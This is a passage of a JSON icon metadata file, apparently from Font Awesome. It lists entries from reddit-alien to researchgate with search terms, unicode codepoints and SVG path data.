24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"
      }
    },
    "free": ["brands"]
  },
  "reddit-alien": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f281",
    "label": "reddit Alien",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"
      }
    },
    "free": ["brands"]
  },
  "redhat": {
    "changes": ["5.6.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7bc",
    "label": "Redhat",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"
      }
    },
    "free": ["brands"]
  },
  "registered": {
    "aliases": {
      "unicodes": {
        "composite": ["ae"],
        "secondary": ["10f25d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copyright", "mark", "r", "registered", "trademark"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25d",
    "label": "Registered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152c0-13.3 10.7-24 24-24h88c44.2 0 80 35.8 80 80c0 28-14.4 52.7-36.3 67l34.1 75.1c5.5 12.1 .1 26.3-11.9 31.8s-26.3 .1-31.8-11.9L268.9 288H208v72c0 13.3-10.7 24-24 24s-24-10.7-24-24V264 152zm48 88h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H208v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152c0-13.3 10.7-24 24-24h88c44.2 0 80 35.8 80 80c0 28-14.4 52.7-36.3 67l34.1 75.1c5.5 12.1 .1 26.3-11.9 31.8s-26.3 .1-31.8-11.9L268.9 288H208v72c0 13.3-10.7 24-24 24s-24-10.7-24-24V264 152zm48 88h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H208v64z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152V264v96c0 13.3 10.7 24 24 24s24-10.7 24-24V288h60.9l37.2 81.9c5.5 12.1 19.7 17.4 31.8 11.9s17.4-19.7 11.9-31.8L315.7 275c21.8-14.3 36.3-39 36.3-67c0-44.2-35.8-80-80-80H184c-13.3 0-24 10.7-24 24zm48 88V176h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152V264v96c0 13.3 10.7 24 24 24s24-10.7 24-24V288h60.9l37.2 81.9c5.5 12.1 19.7 17.4 31.8 11.9s17.4-19.7 11.9-31.8L315.7 275c21.8-14.3 36.3-39 36.3-67c0-44.2-35.8-80-80-80H184c-13.3 0-24 10.7-24 24zm48 88V176h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H208z"
      }
    },
    "free": ["regular", "solid"]
  },
  "renren": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18b",
    "label": "Renren",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"
      }
    },
    "free": ["brands"]
  },
  "repeat": {
    "aliases": {
      "unicodes": {
        "composite": ["1f501"],
        "secondary": ["10f363"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "clockwise",
        "flip",
        "reload",
        "repeat",
        "repeat button",
        "rewind",
        "switch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f363",
    "label": "Repeat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 17.7 14.3 32 32 32s32-14.3 32-32c0-53 43-96 96-96H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9S320 19.1 320 32V64H160C71.6 64 0 135.6 0 224zm512 64c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 53-43 96-96 96H192V352c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V448H352c88.4 0 160-71.6 160-160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 17.7 14.3 32 32 32s32-14.3 32-32c0-53 43-96 96-96H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9S320 19.1 320 32V64H160C71.6 64 0 135.6 0 224zm512 64c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 53-43 96-96 96H192V352c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V448H352c88.4 0 160-71.6 160-160z"
      }
    },
    "free": ["solid"]
  },
  "reply": {
    "aliases": {
      "names": ["mail-reply"],
      "unicodes": {
        "composite": ["f112"],
        "secondary": ["10f3e5"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["mail", "message", "respond"]
    },
    "styles": ["solid"],
    "unicode": "f3e5",
    "label": "Reply",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M205 34.8c11.5 5.1 19 16.6 19 29.2v64H336c97.2 0 176 78.8 176 176c0 113.3-81.5 163.9-100.2 174.1c-2.5 1.4-5.3 1.9-8.1 1.9c-10.9 0-19.7-8.9-19.7-19.7c0-7.5 4.3-14.4 9.8-19.5c9.4-8.8 22.2-26.4 22.2-56.7c0-53-43-96-96-96H224v64c0 12.6-7.4 24.1-19 29.2s-25 3-34.4-5.4l-160-144C3.9 225.7 0 217.1 0 208s3.9-17.7 10.6-23.8l160-144c9.4-8.5 22.9-10.6 34.4-5.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M205 34.8c11.5 5.1 19 16.6 19 29.2v64H336c97.2 0 176 78.8 176 176c0 113.3-81.5 163.9-100.2 174.1c-2.5 1.4-5.3 1.9-8.1 1.9c-10.9 0-19.7-8.9-19.7-19.7c0-7.5 4.3-14.4 9.8-19.5c9.4-8.8 22.2-26.4 22.2-56.7c0-53-43-96-96-96H224v64c0 12.6-7.4 24.1-19 29.2s-25 3-34.4-5.4l-160-144C3.9 225.7 0 217.1 0 208s3.9-17.7 10.6-23.8l160-144c9.4-8.5 22.9-10.6 34.4-5.4z"
      }
    },
    "free": ["solid"]
  },
  "reply-all": {
    "aliases": {
      "names": ["mail-reply-all"],
      "unicodes": {
        "secondary": ["10f122"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["mail", "message", "respond"]
    },
    "styles": ["solid"],
    "unicode": "f122",
    "label": "Reply All",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M209.4 39.5c-9.1-9.6-24.3-10-33.9-.9L33.8 173.2c-19.9 18.9-19.9 50.7 0 69.6L175.5 377.4c9.6 9.1 24.8 8.7 33.9-.9s8.7-24.8-.9-33.9L66.8 208 208.5 73.4c9.6-9.1 10-24.3 .9-33.9zM352 64c0-12.6-7.4-24.1-19-29.2s-25-3-34.4 5.4l-160 144c-6.7 6.1-10.6 14.7-10.6 23.8s3.9 17.7 10.6 23.8l160 144c9.4 8.5 22.9 10.6 34.4 5.4s19-16.6 19-29.2V288h32c53 0 96 43 96 96c0 30.4-12.8 47.9-22.2 56.7c-5.5 5.1-9.8 12-9.8 19.5c0 10.9 8.8 19.7 19.7 19.7c2.8 0 5.6-.6 8.1-1.9C494.5 467.9 576 417.3 576 304c0-97.2-78.8-176-176-176H352V64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M209.4 39.5c-9.1-9.6-24.3-10-33.9-.9L33.8 173.2c-19.9 18.9-19.9 50.7 0 69.6L175.5 377.4c9.6 9.1 24.8 8.7 33.9-.9s8.7-24.8-.9-33.9L66.8 208 208.5 73.4c9.6-9.1 10-24.3 .9-33.9zM352 64c0-12.6-7.4-24.1-19-29.2s-25-3-34.4 5.4l-160 144c-6.7 6.1-10.6 14.7-10.6 23.8s3.9 17.7 10.6 23.8l160 144c9.4 8.5 22.9 10.6 34.4 5.4s19-16.6 19-29.2V288h32c53 0 96 43 96 96c0 30.4-12.8 47.9-22.2 56.7c-5.5 5.1-9.8 12-9.8 19.5c0 10.9 8.8 19.7 19.7 19.7c2.8 0 5.6-.6 8.1-1.9C494.5 467.9 576 417.3 576 304c0-97.2-78.8-176-176-176H352V64z"
      }
    },
    "free": ["solid"]
  },
  "replyd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e6",
    "label": "replyd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"
      }
    },
    "free": ["brands"]
  },
  "republican": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f75e"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "conservative",
        "election",
        "elephant",
        "politics",
        "republican party",
        "right",
        "right-wing",
        "usa"
      ]
    },
    "styles": ["solid"],
    "unicode": "f75e",
    "label": "Republican",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 192C0 103.6 71.6 32 160 32H384c88.4 0 160 71.6 160 160v64H0V192zm415.9-64c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L466 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm-138.3 3.4c-1.1-2.1-3.3-3.4-5.7-3.4s-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L322 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6zM127.9 128c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L178 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm.1 160H320h96 32 64 32v32 80c0 8.8 7.2 16 16 16s16-7.2 16-16V352c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80s-80-35.8-80-80V352H448v32 64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V384H128v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V384 288H128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 192C0 103.6 71.6 32 160 32H384c88.4 0 160 71.6 160 160v64H0V192zm415.9-64c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L466 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm-138.3 3.4c-1.1-2.1-3.3-3.4-5.7-3.4s-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L322 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6zM127.9 128c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L178 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm.1 160H320h96 32 64 32v32 80c0 8.8 7.2 16 16 16s16-7.2 16-16V352c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80s-80-35.8-80-80V352H448v32 64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V384H128v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V384 288H128z"
      }
    },
    "free": ["solid"]
  },
  "researchgate": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f8",
    "label": "Researchgate",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
